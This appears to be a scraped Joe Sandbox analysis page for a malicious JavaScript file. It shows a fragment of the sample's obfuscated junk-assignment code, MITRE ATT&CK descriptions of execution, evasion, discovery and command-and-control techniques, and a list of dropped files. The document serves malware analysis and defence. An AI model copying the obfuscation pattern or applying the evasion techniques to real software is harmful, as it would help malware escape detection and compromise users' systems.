1560	fofanspeu = "H";
1561	fofanspeu = "F";
1562	fofanspeu = "H";
1563	fofanspeu = "d";
1564	fofanspeu = "W";
1565	fofanspeu = "Y";
1566	fofanspeu = "x";
1567	fofanspeu = "F";
1568	fofanspeu = "v";
1569	fofanspeu = "p";
1570	fofanspeu = "g";
1571	fofanspeu = "t";
1572	srnthie = "G";
1573	srnthie = "w";
1574	srnthie = "J";
1575	srnthie = "J";
1576	srnthie = "Y";
1577	srnthie = "u";
1578	srnthie = "i";
1579	srnthie = "c";
1580	srnthie = "I";
1581	srnthie = "B";
1582	srnthie = "W";
1583	srnthie = "f";
1584	srnthie = "X";
1585	srnthie = "L";
1586	srnthie = "o";
1587	srnthie = "m";
1588	srnthie = "v";
1589	srnthie = "D";
1590	srnthie = "j";
1591	srnthie = "V";
1592	srnthie = "M";
1593	srnthie = "L";
1594	srnthie = "G";
1595	srnthie = "S";
1596	srnthie = "f";
1597	srnthie = "P";
1598	srnthie = "V";
1599	srnthie = "L";
1600	srnthie = "Z";
1601	srnthie = "e";
1602	srnthie = "y";
1603	srnthie = "O";
1604	srnthie = "B";
1605	srnthie = "v";
1606	srnthie = "N";
1607	srnthie = "o";
1608	srnthie = "w";
1609	srnthie = "d";
1610	srnthie = "m";
1611	vjldhsk ( );	vjldhsk() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 217216328232499881.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\030143ab-f06c-4701-9ec5-df7d06397c7b.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
217216328232499881.js